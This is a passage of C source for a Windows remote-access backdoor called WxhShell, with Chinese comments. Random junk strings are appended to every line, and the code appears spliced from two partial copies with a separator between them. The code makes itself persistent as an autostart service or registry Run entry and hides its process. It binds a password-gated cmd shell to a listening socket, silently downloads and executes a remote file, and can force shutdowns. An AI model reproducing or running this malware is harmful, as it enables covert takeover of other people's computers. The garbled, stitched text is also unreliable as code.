    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~37 +^B:  
    else { B/rzh? b  
    closesocket(wsh); w#rVSSXQ3  
    ExitThread(0); :U8k|,~f  
    } IG&B2*  
    break; _C5nApb  
    } eZ A6D\  
  // 获取shell q6Rw4  
  case 's': { d#4Wj0x  
    CmdShell(wsh); L@+Z)# V  
    closesocket(wsh); moe/cO5a9  
    ExitThread(0); VH[l\I(h  
    break; ys/vI/e\  
  } =CEHRny  
  // 退出 JC/d:.  
  case 'x': { i!tc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y{?Kao7Ij  
    CloseIt(wsh); N?zV*ngBS  
    break; @??u})^EL  
    } OFp#<o,p  
  // 离开 $8=(I2&TW  
  case 'q': { my]P_mE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hj+p`e S  
    closesocket(wsh); :Fc8S9  
    WSACleanup(); wzg i @i  
    exit(1); K` 2i  
    break; 16L"^EYq  
        } Vl-D<M+i h  
  } ;tm3B2  
  } zWJKYFqK  
Ls(&HOK[p  
  // 提示信息 8z?$t-DO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mcCB7<. e  
} w gmWo8  
  } *XHj)DC;  
50COL66:7  
  return; M*v^N]>"G  
} y _6r/z^  
BL7>dZOa  
// shell模块句柄 'r6cVBb}  
int CmdShell(SOCKET sock) 6R L~iD;X  
{ |I(%7K  
STARTUPINFO si; @PKAz&0  
ZeroMemory(&si,sizeof(si)); \6U 2-m'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1T:)Zv'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?l(nM+[kSL  
PROCESS_INFORMATION ProcessInfo; { qjUI  
char cmdline[]="cmd"; 1]HHe*'Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U n]DFu  
  return 0; 6<#Slw[  
} LMt0'Ml9  
rYD']%2  
// 自身启动模式 4a#B!xW  
int StartFromService(void) A(PE  
{ ybC-f'0  
typedef struct ,#=eu85 '  
{ SCqu,  
  DWORD ExitStatus; Rz)v-Yu  
  DWORD PebBaseAddress; x,}ez  
  DWORD AffinityMask; w' .'Yu6  
  DWORD BasePriority; y(V&z"wk[  
  ULONG UniqueProcessId;  B$@1QG  
  ULONG InheritedFromUniqueProcessId; .vN)A *  
}   PROCESS_BASIC_INFORMATION; /nwxuy  
uwmoM>I W^  
PROCNTQSIP NtQueryInformationProcess; 6Q?BwD+>  
:vw0r`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cn@03&dAl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c]S+70!n  
U<K|jsFo  
  HANDLE             hProcess; *Rz!i m|  
  PROCESS_BASIC_INFORMATION pbi; BDWim`DK"  
pHigxeV2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u<$S>  
  if(NULL == hInst ) return 0; \dC.%#  
9zmD6G!}t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =`rppO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F@B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4 `j,&=  
6\%r6_.d  
  if (!NtQueryInformationProcess) return 0; B>ms`|q=l  
xV"6d{+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?f(pQy@V  
  if(!hProcess) return 0; ~JIywzcf8  
9Ilfv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =PI^X\if88  
>hHJ:5y  
  CloseHandle(hProcess); t `N ">c"  
,w,ENU0~f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^qE<yn  
if(hProcess==NULL) return 0; ' #;,oX~5  
[Od>NO,n+]  
HMODULE hMod; vx({N?  
char procName[255]; 4x=V|"  
unsigned long cbNeeded; Pn~pej5'K  
8XLxT(YFIs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y:DNu9  
.CIbpV?T  
  CloseHandle(hProcess); 3L'en  
F<6KaZ|  
if(strstr(procName,"services")) return 1; // 以服务启动 #|)JD@;Q  
t-3v1cv"  
  return 0; // 注册表启动 yg]suU<z]  
} 53g8T+`\(  
>xhd[  
// 主模块 dt`9RB$  
int StartWxhshell(LPSTR lpCmdLine) \] tq7  
{ ykErt%k<n  
  SOCKET wsl; E geG,/-`  
BOOL val=TRUE; 23(B43zy  
  int port=0; ,-w-su=J_  
  struct sockaddr_in door; $)kk8Q4+K  
jx^|2  
  if(wscfg.ws_autoins) Install(); Q `J,dzY  
L,s|gt v  
port=atoi(lpCmdLine); QO1A976o  
hNu>s  
if(port<=0) port=wscfg.ws_port; dSA [3V  
.WN;TjEg!  
  WSADATA data; I!C(K^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WLg6-@kxXs  
-o=P85 V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~9`^72  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r6gt9u:  
  door.sin_family = AF_INET; @m !9"QhC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @&nx;K6h  
  door.sin_port = htons(port); w>H%[\Qs  
/ K2.V@T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;o~+2Fir  
closesocket(wsl); ~frPV8^DP  
return 1; `dG.L  
} <>&e/  
o$[a4I  
  if(listen(wsl,2) == INVALID_SOCKET) { .ruz l(6  
closesocket(wsl); rw}5nv  
return 1; a}[=_vb}K  
} :IP;Frc MP  
  Wxhshell(wsl); mh!N^[=n  
  WSACleanup(); g:~?U*f-  
?~]1Gd  
return 0; .N-'; %8  
nzQYn  
} V7K tbL#  
($ [r>)TG  
// 以NT服务方式启动 AAlmG9l&7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~PU1vbv9T  
{ "NX m\`8  
DWORD   status = 0; [9YlLL@  
  DWORD   specificError = 0xfffffff; E :'  
dy8In%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,q'gG`M N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eMpEFY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g%fJyk'  
  serviceStatus.dwWin32ExitCode     = 0; B $ y44  
  serviceStatus.dwServiceSpecificExitCode = 0; R:pBbA7E  
  serviceStatus.dwCheckPoint       = 0; zd6Qw-D7x  
  serviceStatus.dwWaitHint       = 0; "tg\yem  
Nj3^"}V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s)o ,Fi  
  if (hServiceStatusHandle==0) return; k#IS ,NKE  
ZF/J/;uI  
status = GetLastError(); 7YQK@lS  
  if (status!=NO_ERROR) T}b( M*E  
{ :?&WKW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IgHs&=  
    serviceStatus.dwCheckPoint       = 0; QYf/tQg$  
    serviceStatus.dwWaitHint       = 0; &4[#_(pk  
    serviceStatus.dwWin32ExitCode     = status; ~Uwr68 9N  
    serviceStatus.dwServiceSpecificExitCode = specificError; rlUdAa3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Up!ZCZ$RC  
    return; <x>k3bD  
  } 5m%baf2_  
alb+R$s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]"2 v7)e  
  serviceStatus.dwCheckPoint       = 0; u75)>^:I   
  serviceStatus.dwWaitHint       = 0; <L!~f`nH2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U4^p({\|-  
} ]U^d1&k  
,XBV}y  
// 处理NT服务事件,比如:启动、停止 Dbkuh!R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sBuq  
{ SG+i\yu$h0  
switch(fdwControl) q. ,p6D  
{ \/x)BE,  
case SERVICE_CONTROL_STOP: &[W3e3Asra  
  serviceStatus.dwWin32ExitCode = 0; *k@0:a(>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0]2B-o"kI  
  serviceStatus.dwCheckPoint   = 0; HhY2`P8  
  serviceStatus.dwWaitHint     = 0; $@:>7Y"  
  { 28UL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xP5mL3j  
  } ;+TF3av0zq  
  return; J?n)FgxS  
case SERVICE_CONTROL_PAUSE: [-:<z?(n4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &\6`[# bT  
  break; } {gWTp  
case SERVICE_CONTROL_CONTINUE: 3>@qQ_8%~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _?(hWC"0  
  break; }Nd`;d  
case SERVICE_CONTROL_INTERROGATE: Q 2SSJ  
  break; n[MIa]dK  
}; jN'fm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VATXsD  
} ^b|Nw:  
=Zb"T5E  
// 标准应用程序主函数 3qxG?G N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jFPE>F7-M  
{ }JpslY*aS  
Edn$0D68u_  
// 获取操作系统版本 hOrk^iYN=  
OsIsNt=GetOsVer(); + k(3+b$S-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ) R a/  
RwE*0 T  
  // 从命令行安装 5S-o 2a  
  if(strpbrk(lpCmdLine,"iI")) Install(); YL&b9e4  
1UA~J|&gi^  
  // 下载执行文件 +v[$lh+  
if(wscfg.ws_downexe) { s ?Qb{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [nPzh Xs  
  WinExec(wscfg.ws_filenam,SW_HIDE); FOUs= E[  
} <*(UvOQuX  
fFTvf0j  
if(!OsIsNt) { B,m$ur#$  
// 如果时win9x,隐藏进程并且设置为注册表启动 GZhfA ;O,  
HideProc(); d;jJe0pH  
StartWxhshell(lpCmdLine); zhvk%Y:  
} TLL[F;uZ  
else L ugk`NUvF  
  if(StartFromService()) Eztz ~oFo  
  // 以服务方式启动 E_gDwWot  
  StartServiceCtrlDispatcher(DispatchTable); LN3dp?;_{  
else "JUQ)> !?  
  // 普通方式启动 ]x(2}h^ S  
  StartWxhshell(lpCmdLine); z:Zn.e*$b  
*/Ry6Yu  
return 0; 3NxaOO`  
} !wR{Y[Yu  
U37?P7i's  
hC 4X Y  
tU2to V  
=========================================== 8|-mzb&  
fe9& V2Uu  
luz%FY:  
[|;Zxb:  
f$S QhK5`  
+8vzkfr3It  
" 7Ae,|k  
g$-D?~(Z  
#include <stdio.h> =*>4Gh i  
#include <string.h> F6GZZKj  
#include <windows.h> (h>X:!  
#include <winsock2.h> sr($Bw  
#include <winsvc.h> \`%Y-!H+v  
#include <urlmon.h> DEwtP  
F+y`4>x  
#pragma comment (lib, "Ws2_32.lib") -x%`Wv@L  
#pragma comment (lib, "urlmon.lib") ; # ?0#):-  
ESf7b `tS  
#define MAX_USER   100 // 最大客户端连接数 qpwh #^2  
#define BUF_SOCK   200 // sock buffer GqD!W8+  
#define KEY_BUFF   255 // 输入 buffer Lvj5<4h;  
m<'xlF  
#define REBOOT     0   // 重启 Md?bAMnG+}  
#define SHUTDOWN   1   // 关机 _kY[8e5  
dV=5_wXZ$  
#define DEF_PORT   5000 // 监听端口 6r-n6#=  
3w:Z4]J  
#define REG_LEN     16   // 注册表键长度 jUR #  
#define SVC_LEN     80   // NT服务名长度 Z2j*%/  
A"3&EuvU  
// 从dll定义API QKaj4?p$|S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ut5!2t$c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6ewOZ,"j"4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a&c#* 9t{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [11-`v0  
A%w]~ chC9  
// wxhshell配置信息 }:D~yEP  
struct WSCFG { Z a1|fB  
  int ws_port;         // 监听端口 gsR9M%mv  
  char ws_passstr[REG_LEN]; // 口令 rn5g+%jX*  
  int ws_autoins;       // 安装标记, 1=yes 0=no UoS;!}l  
  char ws_regname[REG_LEN]; // 注册表键名 ]XafFr6pe  
  char ws_svcname[REG_LEN]; // 服务名 0V,MDX}#_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HXV73rDA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Di"9 M(6vf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +2fJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @[kM1:G-F{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?G>TaTiK#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #bZ=R  
w~KBk)!*  
}; pBnf^Ew1  
-GWzMBS S  
// default Wxhshell configuration dQ|Ht[ s=  
struct WSCFG wscfg={DEF_PORT, = hX-jP  
    "xuhuanlingzhe", U+r#Y E.  
    1, v9`B.(Ru  
    "Wxhshell", =bg&CZV T  
    "Wxhshell", Fx:en|g  
            "WxhShell Service", tKsM}+fq  
    "Wrsky Windows CmdShell Service", KB *#t  
    "Please Input Your Password: ", xPJJ !mY  
  1, nK'8Mo  
  "http://www.wrsky.com/wxhshell.exe", %+B-Z/1}  
  "Wxhshell.exe" r~fl=2>yQ  
    }; 9}0Jc(B/x  
"/Q(UV<d  
// 消息定义模块 V >uW|6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2&K|~~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wk6&TrWlY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S!!\!w>N  
char *msg_ws_ext="\n\rExit."; 2/4x]i H*  
char *msg_ws_end="\n\rQuit."; .'mC3E+ $  
char *msg_ws_boot="\n\rReboot..."; F20-!b  
char *msg_ws_poff="\n\rShutdown..."; .-~% w  
char *msg_ws_down="\n\rSave to "; $#JVI:  
*]{I\rX  
char *msg_ws_err="\n\rErr!"; 78J .~v/  
char *msg_ws_ok="\n\rOK!"; skx=w<YO6]  
=LY^3TlDj  
char ExeFile[MAX_PATH]; }J'w z;t1  
int nUser = 0; y* Q-4_%,  
HANDLE handles[MAX_USER]; m1o65FsY08  
int OsIsNt; ?!j/wV_H  
rZQHB[^3  
SERVICE_STATUS       serviceStatus; lbU+a$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y9y*" :&%  
d*(Bs $De  
// 函数声明 i{[H3p8  
int Install(void); ',s7h"  
int Uninstall(void); P(nHXVSUE  
int DownloadFile(char *sURL, SOCKET wsh); PjZvLK@a9)  
int Boot(int flag); J*&=J6  
void HideProc(void); Ul0<Zxv  
int GetOsVer(void); UZ3Aq12U}a  
int Wxhshell(SOCKET wsl); \bA'Furp  
void TalkWithClient(void *cs); d]~1.i  
int CmdShell(SOCKET sock); $<e .]`R  
int StartFromService(void); %vYlu%c<  
int StartWxhshell(LPSTR lpCmdLine); Eq;frnw>q  
"(&`muIc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (Ha}xwA~(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c!wB'~MS#  
! e,(Zz5  
// 数据结构和表定义 s:F+bG}|  
SERVICE_TABLE_ENTRY DispatchTable[] = WvzvGT=  
{ 5d{Ggg{s  
{wscfg.ws_svcname, NTServiceMain}, pcTXTy 28  
{NULL, NULL} k#NMD4(%O  
}; cD@lor j  
Y8'_5?+ 0  
// 自我安装 QjN3j*@  
int Install(void) g@f/OsR76  
{ N%E2BJ?  
  char svExeFile[MAX_PATH]; G*p.JsZP  
  HKEY key; <KPx0g?=b  
  strcpy(svExeFile,ExeFile); rB|:r\Z(jG  
-+@~*$ d  
// 如果是win9x系统,修改注册表设为自启动 Awf = yE:  
if(!OsIsNt) { ms<uYLp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zGz'2, o3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xtnmh)'K~#  
  RegCloseKey(key); 'z!#E!i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f|1FqL+T]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <f{`}drp/  
  RegCloseKey(key); Cy'W!qH  
  return 0; <%uZwk>#  
    } rWKLxK4oU  
  } \1 D,Kx;Cb  
} S%#Mu|  
else { h,?Yw+#o"  
;QD;5 <1  
// 如果是NT以上系统,安装为系统服务 sn`?Foh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1+c(G?Ava  
if (schSCManager!=0) *]?YvY  
{ }mZ*f y0t  
  SC_HANDLE schService = CreateService >(KUYX?p  
  ( 1RHH<c%2n  
  schSCManager, 2+cicBD  
  wscfg.ws_svcname, lS*.?4zX  
  wscfg.ws_svcdisp, GhA~PjZS  
  SERVICE_ALL_ACCESS, O'U,|A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ys6"Q[B  
  SERVICE_AUTO_START, cty#@?"e  
  SERVICE_ERROR_NORMAL, g]JI}O*5  
  svExeFile, 4<Y[L'UaA@  
  NULL, ?|yJ #j1=  
  NULL, I3b-uEHev  
  NULL, }kefrT  
  NULL, ~2ei+#d!^  
  NULL dh`A(B{hfc  
  ); aJ;R8(*;\  
  if (schService!=0) Nx z ,/d  
  { O4mWsr  
  CloseServiceHandle(schService); S^=/}PT'  
  CloseServiceHandle(schSCManager); 30`H Xv@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n:kxG  
  strcat(svExeFile,wscfg.ws_svcname); w*@Z-'(j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A1T;9`E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sJ()ItU5i  
  RegCloseKey(key); ~3]8f0^%m  
  return 0; [T|1Qq7  
    } )d Dmq  
  } (:]iHg3  
  CloseServiceHandle(schSCManager); 8#-}3~l[  
} `P*j~ZLlXN  
} /^ 7 9|$E  
kIo?<=F8T  
return 1; e$I:[>  
} -q|M=6gOs  
c3-bn #  
// 自我卸载 Gl1$W=pR:  
int Uninstall(void) Ia" Mi+{  
{ e{S`iO  
  HKEY key; .AS,]*?Zn%  
R_DQtLI  
if(!OsIsNt) { NPabM(<`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X~!?t }  
  RegDeleteValue(key,wscfg.ws_regname); G&Sg .<hn  
  RegCloseKey(key); Ut@)<N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `?m(Z6'  
  RegDeleteValue(key,wscfg.ws_regname); ` XY[ HK  
  RegCloseKey(key); THZ3%o=X  
  return 0; .1M>KRSr,  
  } {'C74s  
} cn{l %6K  
} Gl9a5b  
else { "$9ZkADO  
.<hv &t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l>q.BG  
if (schSCManager!=0) :g_ +{4  
{ d^>se'ya  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); roQIP%h!  
  if (schService!=0) a)b@en;v  
  { mAKi%)  
  if(DeleteService(schService)!=0) { A(5? ci  
  CloseServiceHandle(schService); qpCi61lTDJ  
  CloseServiceHandle(schSCManager); JOk`emle  
  return 0; "5bk82."  
  } V4D&&0&n  
  CloseServiceHandle(schService); ),|bP`V  
  } IC~D?c0H:  
  CloseServiceHandle(schSCManager); #k, kpL<a  
} 6, ~aV  
} gUQCKNw  
?c*d z{  
return 1; ~o$=(EC  
} Kz;VAH  
c8MNo'h  
// 从指定url下载文件 G&-h,"yo^  
int DownloadFile(char *sURL, SOCKET wsh) Stpho4+/y  
{ ) 'KHUa9  
  HRESULT hr; iqYc&}k,  
char seps[]= "/"; 54&2SU$kx  
char *token; 6!N&,I  
char *file; A}# Mrb  
char myURL[MAX_PATH]; -B!pg7>'##  
char myFILE[MAX_PATH]; S/aPYrk>6  
C:cu1Y9  
strcpy(myURL,sURL); yE>DQ *  
  token=strtok(myURL,seps); G#>X~qk()  
  while(token!=NULL) hBw~l?G  
  { kPe9G  
    file=token; hz|$3*q  
  token=strtok(NULL,seps); uOx$@1v,  
  } !j@ 8:j0WY  
q\<vCKI-^  
GetCurrentDirectory(MAX_PATH,myFILE); oY: "nE  
strcat(myFILE, "\\"); ;MD{p1w  
strcat(myFILE, file); HIAd"}^  
  send(wsh,myFILE,strlen(myFILE),0); &gfQZxT  
send(wsh,"...",3,0); ~x+w@4)a>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HN! l-z  
  if(hr==S_OK) ~ln,Cm} 4  
return 0; ebchHnOd  
else ,58[WZG  
return 1; 3z<t#  
tuSgh!  
} `,O^=HBM  
xM,3F jF  
// 系统电源模块 s zg1.&  
int Boot(int flag) rO~D{)Nu  
{ t30V_`eQ  
  HANDLE hToken; A(B2XBS!?  
  TOKEN_PRIVILEGES tkp; as8<c4:v  
2},}R'aR  
  if(OsIsNt) { s_N!6$tS   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s*@.qN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w;"'l]W  
    tkp.PrivilegeCount = 1; &!=3Fbn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g;pymz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sAxn ; `  
if(flag==REBOOT) { |^{ IHF\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \wd~ Y  
  return 0; .:0nK bW  
} Z3d&I]Tf  
else { f]4gDmn^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  E=E  
  return 0; Vz^:| qON  
} 1<F/boF~  
  } lF<(yF5  
  else { i || /=ai  
if(flag==REBOOT) { &uM?DQ`o8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dxA=gL2  
  return 0; k&2I(2S  
} 03xQ%"TU<  
else { x]:mc%4-Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s`{O-  
  return 0; uf6{M_jXZ  
} [T|~K h%#  
} .Qaqkb-Ty  
$8Zw<aEJ  
return 1; wR KGJ  
} A-<qr6q  
sbVeB%k  
// win9x进程隐藏模块 t|/ /oEY  
void HideProc(void) E5rNC/Ul$$  
{ '=r.rW5  
5ZPl`[He  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q+z,{K  
  if ( hKernel != NULL ) k~H-:@  
  { 61]6N;kJ;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 82$^pg>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Q{l ]D  
    FreeLibrary(hKernel); Uc&0>_Z  
  } wL*z+>5  
(C!fIRY  
return; kn! J`"b  
} 2/GH5b(  
,}NG@JID  
// 获取操作系统版本 + }^  
int GetOsVer(void) DQ,QyV  
{ \"5\hX~dS  
  OSVERSIONINFO winfo; |(wx6H:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *e^ ZH  
  GetVersionEx(&winfo); _PuMZjGL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2 `#|;x^<  
  return 1; %j=7e@   
  else _onHe"%{  
  return 0; XOxm<3gXn  
} UZ y  
NoMEe<  
// 客户端句柄模块 S"lcePN  
int Wxhshell(SOCKET wsl) f6DPah#  
{ ioZ2J"s  
  SOCKET wsh; 1 @/+ c  
  struct sockaddr_in client; bo]k9FC  
  DWORD myID; X[VQ 1  
__zsrIUJ  
  while(nUser<MAX_USER) R^D~ic N  
{ !OiP<8 ,H  
  int nSize=sizeof(client); FrB19  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rq;R{a  
  if(wsh==INVALID_SOCKET) return 1;  p.zU9rID  
&fW;;>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -QRKDp  
if(handles[nUser]==0) &We'omq  
  closesocket(wsh); J?%Z7&/M>  
else w=OT^d 9n  
  nUser++; wTOB'  
  } \"n&|_SZ\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^E5Xpza  
/H\ZCIu/7  
  return 0;  pxP7yJL`  
} ] $5rh8  
@%RDw*L(  
// 关闭 socket 8R)*8bb  
void CloseIt(SOCKET wsh) :kgwKuhL  
{ |gT$M _}  
closesocket(wsh); D|OX]3~  
nUser--;  Q}G   
ExitThread(0); b+hZ<U/  
} :V`q;g  
w^dB1Y7c(W  
// 客户端请求句柄 x *(pr5k  
void TalkWithClient(void *cs) z]tvy).  
{ K2NnA  
IUwY/R9Q  
  SOCKET wsh=(SOCKET)cs; lO<Ujb#"R  
  char pwd[SVC_LEN]; :I1bGa&I  
  char cmd[KEY_BUFF]; w)hJ0k  
char chr[1]; j'~xe3j  
int i,j; ~?nPp$^  
%2V_%KA  
  while (nUser < MAX_USER) { mz>"4-]  
nc([e9_9v  
if(wscfg.ws_passstr) { jo+T!CUM'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T"3WB o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pp/Cn4"w  
  //ZeroMemory(pwd,KEY_BUFF); ,)%nLc  
      i=0; 9-9`;Z  
  while(i<SVC_LEN) { c_%vD~6W-  
b>G!K)MS3  
  // 设置超时 C}wmoYikV  
  fd_set FdRead; {DAwkJvb]  
  struct timeval TimeOut; Rg+V;C C~  
  FD_ZERO(&FdRead); m/CA  
  FD_SET(wsh,&FdRead); d[jxU/.p;  
  TimeOut.tv_sec=8; 5 '.j+{"  
  TimeOut.tv_usec=0; !k Hpw2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6D) vY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?f:FmgQk  
_^Rf*G!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vfmKYiLp  
  pwd=chr[0]; E+csK*A7  
  if(chr[0]==0xd || chr[0]==0xa) { . [*6W.X  
  pwd=0; i yMIP~N,$  
  break; ."cC^og  
  } ig3uY#  
  i++; 1NA>W   
    } _epi[zf@  
-S Z^;t  
  // 如果是非法用户,关闭 socket q^k6.5*"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; *r5 d+]  
} !=Cd1 $<  
WY  #pzBA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iwrS>Sm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L/#^&*'B  
A03,X;S+  
while(1) { n`;=^^B  
"m(HQ5e)*  
  ZeroMemory(cmd,KEY_BUFF); =[3I#s?V  
8+Oyhd*|  
      // 自动支持客户端 telnet标准   r>A, 7{  
  j=0;  KGFmC[  
  while(j<KEY_BUFF) { >4b-NS/}0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V(w2k^7) F  
  cmd[j]=chr[0]; xLX:>64'o>  
  if(chr[0]==0xa || chr[0]==0xd) { 6E85mfFS  
  cmd[j]=0; ' !ZFK}  
  break; T^%$  
  } px" .pYr0  
  j++; S"V|BU  
    } JM@MNS_||(  
FNtcI7  
  // 下载文件 ?kISAA4x  
  if(strstr(cmd,"http://")) { t@.M;b8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [$ vAjP  
  if(DownloadFile(cmd,wsh)) \k;*Ej~.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rt^<=|Z  
  else !ku5P+y$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [r<lAS{ .  
  } T\NvN&h-  
  else { XSkx<"U*  
%\Z{~(&-v  
    switch(cmd[0]) { uF/l,[0v  
  c>,|[zP{  
  // 帮助 BRhAL1  
  case '?': { $i7iv  
